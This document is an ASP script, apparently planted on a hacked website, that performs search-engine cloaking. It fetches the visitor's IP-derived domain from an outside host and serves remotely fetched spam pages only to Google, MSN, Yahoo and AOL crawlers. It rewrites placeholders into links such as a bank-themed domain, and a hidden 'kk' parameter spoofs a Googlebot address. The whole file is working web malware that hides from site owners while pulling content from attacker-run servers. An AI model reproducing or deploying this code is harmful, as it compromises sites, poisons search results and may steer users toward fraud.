<% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Randomize %> <% if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://jf.a123.fr/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then else if request("pid")<>"" then eee="http://www."&request("class")&".fr/Detail.aspx?pid="&request("pid") Response.write "" end if Response.end end if %> <% Greeting=getHTTPPage("http://jf.a123.fr/new/taobao.asp") Dim Url,Html if request("pid")<>"" then URL="http://www."&request("class")&".fr/bbb.aspx"&"?pid="&request("pid")&"&page="&"http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO") else URL=Greeting&"&page="&"http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO") end if con=getHTTPPage(URL) con=Replace(con,"%20","+") con=Replace(con, "YYYYY", "http://key.okbankservices.com/") con=Replace(con, "DDDDD", "") con=Replace(con, "QQQQQ", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO")&"?"&Request.ServerVariables("QUERY_STRING")) Response.write con %>